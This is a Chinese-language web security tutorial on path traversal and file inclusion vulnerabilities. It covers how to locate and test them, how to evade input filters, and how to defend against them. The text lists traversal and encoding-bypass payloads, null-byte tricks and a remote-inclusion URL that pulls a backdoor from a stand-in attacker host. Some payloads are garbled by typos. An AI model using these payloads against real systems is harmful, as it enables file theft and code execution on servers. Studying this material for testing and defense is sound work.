操作文件路径

操作文件路径

如果应用程序使用用户可控制的数据、以危险的方式访问位于应用程序服务器或其他后端文件系统中的文件和目录,就会出现目录遍历漏洞。通过提交专门设计的输入,攻击者就可以在被访问的文件系统中读取或者写入任意内容。这种漏洞往往使攻击者能够从服务器上读取敏感信息或者重写敏感文件,并最终在服务器上执行任何命令。

在下面的示例中,应用程序使用一个动态页面向客户端返回静态图像。被请求的图像名称在查询字符串参数中指定:

http://mdsec.net/filestore/8/GetFile.ashx?filename=keira.jpg

当服务器处理这个请求时,它执行以下操作。

(1)从查询字符串中提取filename参数值

(2)将这个值附加在C:\filestore\之后

(3)用这个名称打开文件

(4)读取文件的内容,并将其返回客户端

漏洞之所以会发生,是因为攻击者可以将路径遍历序列放入文件名内,从第(2)步指定的图像目录向上回溯,从而访问服务器上的任何文件。众所周知,路径遍历序列表示为“点-点-斜线”(..\),一个典型攻击如下:

http://mdsec.net/filestore/8/GetFile.ashx?filename=..\windows.win.ini

如果应用程序把filename参数的值附加到图像目录名称之后,就得到以下路径:

C:\filestore..\windows\win.ini

这两个遍历序列立即从图像目录回溯到C:驱动器根目录下,因此,前面的路径等同于以下路径:

C:\windows\win.ini

因此,服务器不会返回图像文件,而是返回默认的Windows配置文件。

查找和利用路径遍历漏洞

确定攻击目标

在对应用程序进行初步解析的过程中,应该已经去定了素有与路径遍历漏洞有关的明显受攻击面。主要用于文件上传或下载目的地所有功能都应进行全面测试。用户可共享文档的工作流程应用程序,允许用户上传的图像的博客与拍卖应用程序,以及为用户提供电子书。技术手册和公司表表等文档的信息型应用程序,常常使用这种功能。

除这种明显的目标功能外,还有其他各种行为表示应用程序需要与文件系统进行交互。

  1. 分析在应用程序解析过程中收集到的信息,确定以下内容。
    • 请求参数中明显包含文件或目录名称的所有情形。例如,include=main.inc或template=/en/sidebar
    • 需要从服务器文件系统读取数据的所有应用程序功能。例如,显示办公文档或图像。
  2. 在测试其他漏洞的过程中,寻找有益的错误消息或其他反常事件。设法确定用户提交的数据被传送给文件API或作为操作系统命令参数的所有情况。
  3. 如果能从本地访问应用程序,执行以下操作:
    • 使用适当的工具监控服务器上的所有文件系统活动
    • 在每一个被提交的参数(包括全部cookie、查询字符串字段和POST数据项)中插入一个特殊的字符串测试应用程序的每一个页面。一次仅针对一个参数进行测试
    • 在文件系统监控工具中设置一个过滤器,确定所有包含测试字符串的文件系统事件
    • 如果发现测试字符串被用作文件或目录,或者出现在文件或目录名中,那么对于每一种情况进行测试,确定其是否收到路径遍历攻击。

探查路径遍历漏洞

确定各种潜在的路径测试目标后,必须分别测试每种情况,弄清其是否以不安全的方式向相关文件操作系统传送用户可控制的数据。

在测试用户提交的参数时,需确定遍历序列是否被应用程序阻止,或者他们能够正常工作。通常,提交不会向上回溯到其实目录的遍历序列是一种较为可靠的初步测试方法。

  • 假设所针对的参数被附加到应用程序预先设定的目标之后,那么插入任意一个子目录和一个遍历序列,修改参数的值。例如,应用程序提交参数

    foo=foo/file1.txt

    那么可以尝试提交以下值:

    foo=foo/bar/../file1.txt

    如果两种情况下应用程序的行为完全相同,就表示它易于受到攻击。应该继续测试,尝试通过向上回溯到起始目录来访问不同的文件。

  • 在上述两种情况下,如果应用程序的行为有所不同,那么应用程序可能阻止、删除或净化遍历序列,致使文件路径失效。

    即使子目录“bar”并不存在,这个测试仍然有效,因为大多数文件系统在尝试获取文件路径前对其进行了规范化。路径序列删除了虚构的目录,因此服务器并不检查它是否存在。

如果的发现提交遍历序列但不向上回溯至起始目录不会影响应用程序的行为,那么就写来的测试中,应该尝试遍历出起始目录,从服务器文件系统的其他地方访问文件。

  • 如果所攻击的应用程序功能只拥有文件读取访问权限,那么尝试访问相关操作系统上的一个一致任何用户均可读取的文件。提交下面其中一个值作为受控制的文件名参数:

    ../../../../../../../../../../../../../etc/password

    ../../../../../../../../../../../windows/win.ini

  • 如果所攻击的功能拥有文件写入访问权限,那么要最终确定应用程序是否易于受到攻击,可能会更困难。通常,一种有效的测试是尝试写入两个文件,一个文件可被任何用户写入,另一个文件即使是跟用户或管理员也禁止写入。例如,在windows平台上可以尝试写入下面两个文件:

    ../../../../../../../../../../../tmp/writest.txt

    ../../../../../../../../../../../../tmp

    在上面的每对测试中,如果应用程序在响应两个请求时表现出行为差异,那么应用程序可能易于受到攻击。

  • 还有一种方法可通过写入访问确定遍历漏洞,即尝试在Web服务器的Web根目录中写入一个新文件,然后同时通过浏览器获得这个文件。但是,如果并不知道Web根目录的位置,或者访问文件的用户并不拥有写入权限,这种方法可能不会成功。

避开路径攻击障碍

最初的遍历尝试攻击并未成功,并不意味着应用程序不容易受到攻击。许多应用程序开发者意识到路径遍历漏洞,并执行各种输入确认检查尝试防止这种漏洞。但是,这些防御措施往往存在缺陷,可被技术熟练的攻击者轻易避开。

第一种常见的输入过滤方法如下,首先检查文件名参数中是否存在任何路径遍历序列,如果存在,要么拒绝包含遍历序列的请求,要么尝试删除该序列,以对输入进行净化。这种类型过滤往往易于受到各种攻击,它们使用编码或其他方法来避开过滤。这类攻击全都利用输入确认机制所面临的规范化问题。

  • 尝试始终通过使用斜线与反斜线的路径遍历序列进行测试。许多输入过滤仅检查其中一种序列,而文件系统却支持全部两种序列。

  • 尝试使用下面的编码方案,对遍历序列进行简单的URL编码。一定要多输入中的每一个斜线和点进行编码:

    • 点——%2e
    • 斜线——%2f
    • 反斜线——%5c
  • 尝试使用下面的16位Unicode编码:

    • 点——%u002e
    • 斜线——%u2215
    • 反斜线——%u2216
  • 尝试使用下面的双倍URL编码:

    • 点——%252e
    • 斜线——%252f
    • 反斜线——%255c
  • 尝试使用下面的超长UTF-8 unicode编码:

    • 点——%c%2e、%e0%40%ae、%c0ae等
    • 斜线——%c0%af、%e0%80%af、%c0%2f等
    • 反斜线——%c0%5c、%c0%80%5c等

    可以在Burp Intruder中使用非法Unicode有效载荷类型为任何特殊字符生成大量其他形式的表示法,并将它提交到目标参数的相关位置。这些表示法严重违反了Unicode表示法规则,但却为许多Unicode解码器接受,特别是Windows平台上的解码器。

  • 如果应用程序尝试通过删除遍历序列来净化用户输入,但没有以递归的方式应用这种过滤,那么可以用一个序列来替换另一个序列来避开过滤。例如:

    • ….//
    • **…./\**
    • **….\\**

第二种防御路径遍历攻击时常用的输入过滤,就是确认用户提交的输入是否包含应用程序想要的后缀或前缀。这种类型的防御可以与前面描述的过滤联合使用。

  • 一些应用程序检查用户提交的文件是否以一种或特殊的文件类型结尾,并决绝访问其他内容的请求,有时候,可以在请求的文件名后放入一个URL编码的空字节,在后面连接应用程序接受的文件类型,从而避开这种检查。例如:

    ../../../../../boot.ini%00.jpg

    这种攻击有时会成功,是因为应用程序使用API在托管执行环境下执行文件类型检查,该执行环境允许字符串包含空字符。但是,当获取文件时,应用程序最终在一个无法控制的环境中使用API,因此文件名被截短为想要的值。

  • 一些应用程序将它们自己的文件类型后缀附加在用户提交的文件名后,尝试控制被访问的文件类型。在这种情况下,基于相同的原因,前面的任何一种利用都可能取得成功。

  • 一些应用程序检查用户提交的文件名的开头部分是否为起始目录的某一个子目录,或者一个特殊的文件名。当然,通过以下方法可轻易避开这种检查:

    filestore/../../../../../../../etc/password

  • 如果以上针对输入过滤的攻击都无法成功,可能应用程序实施了几种类型的过滤,因此需要同时使用上面的几种攻击方法。遇到这种情况,如有可能,最好的方法是将问题分解成几个独立的阶段。例如,如果请求

    diagram1.jpg

    能够成功,但请求

    foo/../diagram1.jpg

    却导致失败,那么尝试使用所有可能的遍历序列,知道第二个请求获得成功。如果使用这些成功的遍历序列仍然无法访问/etc/password,就请求一下文件,检查应用程序是否实施任何文件类型过滤,以及是否可以避开这种过滤:

    diagram1.jpg%00.jpg

    彻底检查应用程序定义的起始目录,设法了解它实施的全部过滤,看是否可以利用上述技巧避开每一种过滤。

  • 当然,如果能够随意访问应用程序,那么攻击就变得简单,因为渗透测试员可以系统性地攻击每种输入,并确定最终通过哪些文件名可以到达文件系统。

处理定制编码

应用程序采用的文件名编码方案最终以危险的方式进行处理,模糊处理也不能提供任何安全保障,这时就会出现最为可怕的路径遍历漏洞。

例如,一些应用程序具有某种工作流程功能,允许用户上传下载文件,执行上传操作的请求提供一个文件名参数,它在写入文件时易于受到路径遍历攻击。如果一个文件成功上传,那么应用程序再为用户提供一个下载URL。这里有两点值得注意:

  • 应用程序核对将要写入的文件是否已经存在,如果存在,就拒绝重写这个文件。
  • 为下载用户文件而生成的URL使用一种定制模糊处理方案表示。这种方案似乎是一种定制的Base64编码形式,它在每个编码文件名位置使用一组不同的字符。

总的来说,这些注意点给直接利用漏洞设置了障碍。首先,尽管能够给在服务器文件系统中写入任何文件,但攻击者无法重写任何现有文件,而且,Web服务器进程有用较低权限意味着攻击者不可能在任何有力位置创建新文件。其次,如果不对定制编码进行逆向工程,攻击者也不可能请求任意一个现有的文件。

利用遍历漏洞

可以利用读取访问路径遍历漏洞从包含有用信息的服务器上获取有益的文件,或者帮助优化针对其他漏洞的攻击,如下所示。

  • 操作系统与应用程序的密码文件
  • 服务器与应用程序配置文件,以发现其他漏洞或优化另一次攻击
  • 可能含有数据库帧数的包含文件
  • 应用程序使用的数据源,如MySQL数据库文件或XML文件
  • 服务器可执行页面的源代码,以执行代码审查,搜索漏洞
  • 可能包含用户名和会话令牌的应用程序日志文件等

如果发现一个允许写入访问的路径遍历漏洞,那么渗透测试的主要目标应该是利用它在服务器上执行任意命令。利用漏洞实现这一目标的方法包括以下几种:

  • 在用户的启动文件夹中创建脚本
  • 当用户下一次连接时,修改in.ftpd等文件执行任意命令

向一个拥有执行许可的Web目录写入脚本,从浏览器调用它们。

防止路径遍历漏洞

迄今为止,避免向任何文件系统API传送用户提交的数据时防止路径遍历漏洞的最有效方法。许多时候,包含在最初的GetIFile.aspx?filename=keira.jpg示例中,应用程序完全没有必要实施防御。因为大多数文件都没有采用访问控制,攻击者可以将这些文件存入Web根目录中,再通过URL直接访问。如果以上方法行不通,应用程序可能会保存一个可由页面处理的硬编码图像文件列表,并使用不同的标识符指定需要的文件。任何包含无效标识符的请求都可能遭到拒绝,因为没有受攻击面可供用户利用,使其操纵页面提供的文件路径。

有时,与实现文件上传与下载的工作流程一样,应用程序可能需要允许用户通过名称指定文件,这时,开发者可能采用最简单的方法,将用户提交的用户名传送给文件系统API。从而达到这种目的。在这种情况下,应用程序应实施深层防御措施,为路径遍历攻击设立几层障碍。

以下是一些可能有用的防御方法,在应用过程中,最好将它们组合在一起使用。

  • 对用户提交的文件名进行相关解码与规范化之后,应用程序应检查该文件名是否包含路径遍历序列(使用反斜线或斜线)或孔子杰。如果是这样,应用程序应停止处理请求,不得尝试对恶意文件名进行任何净化处理。
  • 应用程序应使用一个硬编码的。允许访问的文件类型列表,并决绝任何访问其他文件类型的请求(完成上述解码与规范化之后)。
  • 对用户提交的文件名进行一切必要的过滤后,应用程序应使用适当的文件系统API确认是否一切正常,以及使用该文件名访问的文件是否位于应用程序指定的起始目录中。

应用程序可以使用一个chrooted环境访问包含被访问文件的目录,减轻大多数路径遍历漏洞造成的影响。在这种情况下,chrooted目录就好比是文件系统的根目录,任何视图从这个目录向上回溯的多余遍历请求都被忽略。大多数UNIX平台支持chrooted文件系统。在Windows平台上,以新逻辑驱动器形式安装相关起始目录,并且使用响应的驱动器字母访问目录内容,即可实现类似的效果。

应用程序应将其路径遍历攻击防御机制与日志和警报机制整合在一起。任何时候,只要收到一个包含路径遍历序列的请求,提出请求的用户就可能心存恶意,应用程序应在日志中进行记录,表明该请求企图违反安全机制,并终止该用户的会话。如有可能,应冻结该用户账户并向管理员发出警报。

文件包含漏洞

许多脚本语言支持使用包含文件(include file)。这种功能允许开发者把可重复使用的代码插入到单个的文件中,并在需要时将它们包含在特殊功能的代码文件中。然后,包含文件中的代码被解释,就好像它插入到包含指令的位置一样。

远程文件包含

PHP语言特别容易出现文件包含漏洞,因为它的包含函数接受远程文件路径。这种缺陷已经成为PHP应用程序中大量漏洞的根源。

以一个想不通位置的人们传送各种内容的应用程序为例。用户选择他们的位置后,这个信息通过一个请求参数传送给服务器,代码如下:

https://wahh-app.com/main.php?Country=US

应用程序通过以下方式处理Country参数:

$country = $_GET[‘Country’]

include($country . ‘.php’)

这使执行环境加载位于Web服务器文件系统中的US.php文件。然后,这个文件的内容被复制到main.php中并得以执行。

攻击者能够以各种方式利用这种行为,最严重的情况是指定一个外部URL作为包含文件的位置。PHP包含函数接受这个位置作为输入,接着,执行环境将获取指定的文件并制定其内容。因此,攻击者能够构建一个包含任意复杂内容的恶意脚本,将其及存在他控制的Web服务器上,并通过易受攻击的应用程序函数调用它然后执行。例如:

https://wahh-app.com/main.php?Country=http://wahh-attacker.com/backdoor

本地文件包含

有时,应用程序根据用户可控制的数据加载包含文件,但这是不可能给位于外部服务器上的文件制定URL。例如,用户可控制的数据被提交给ASP函数Server.execute,那么攻击者就可以执行任意一段ASP脚本,只要这段脚本属于调用这个函数的相同应用程序。

在这种情况下,攻击者仍然可以利用应用程序的行为执行未授权的操作。

  • 在服务器上可能有一些通过正常途径无法访问的路径,例如,任何访问路径/admin的请求都会被应用程序实施的访问控制阻止。如果能够将敏感功能包含在一个授权访问的页面中,那么就可以访问那个功能。
  • 服务器上的一些静态资源也受到同样的保护,无法直接访问。如果能够将这些文件攻台包含在其他应用程序页面中,那么执行环境就会将静态资源的内容复制到它的响应中。

查找文件包含漏洞

任何用户提交的数据项都可能因此文件包含漏洞。它们经常出现在指定一种语言或一个位置的请求参数中,也常常发生在以参数形式传送服务器端文件名的情况下。

要测试远程文件包含漏洞,执行以下步骤:

  1. 向每一个目标参数提交一个连接受控制的Web服务器资源的URL,并确定是否收到运行目标应用程序的服务器提出任何请求。
  2. 如果第一次测试失败,尝试提交一个包含不存在的IP地址的URL,并确定服务器视图与这个地址建立连接时是否出现超时。
  3. 如果发现应用程序易于受到远程文件包含攻击,与前面描述的动态执行攻击中一样,使用相关语言中的可用API,弓箭一段恶意脚本实施攻击。

相对于远程文件包含而言,存在本地文件包含漏洞的脚本环境要多一些。要测试本地文件包含漏洞,执行以下步骤:

  1. 提交服务器上一个已知可执行资源的名称,确定应用程序的行为是否有任何变化
  2. 提交服务器上一个已知静态资源的名称,确定它的内容是否被复制到应用程序的响应中。
  3. 如果应用程序易于受到本地文件包含攻击,尝试通过Web服务器访问任何无法直接到达的敏感功能或资源
  4. 测试能够利用之前讲到的遍历技巧访问其他目录中的文件。
0%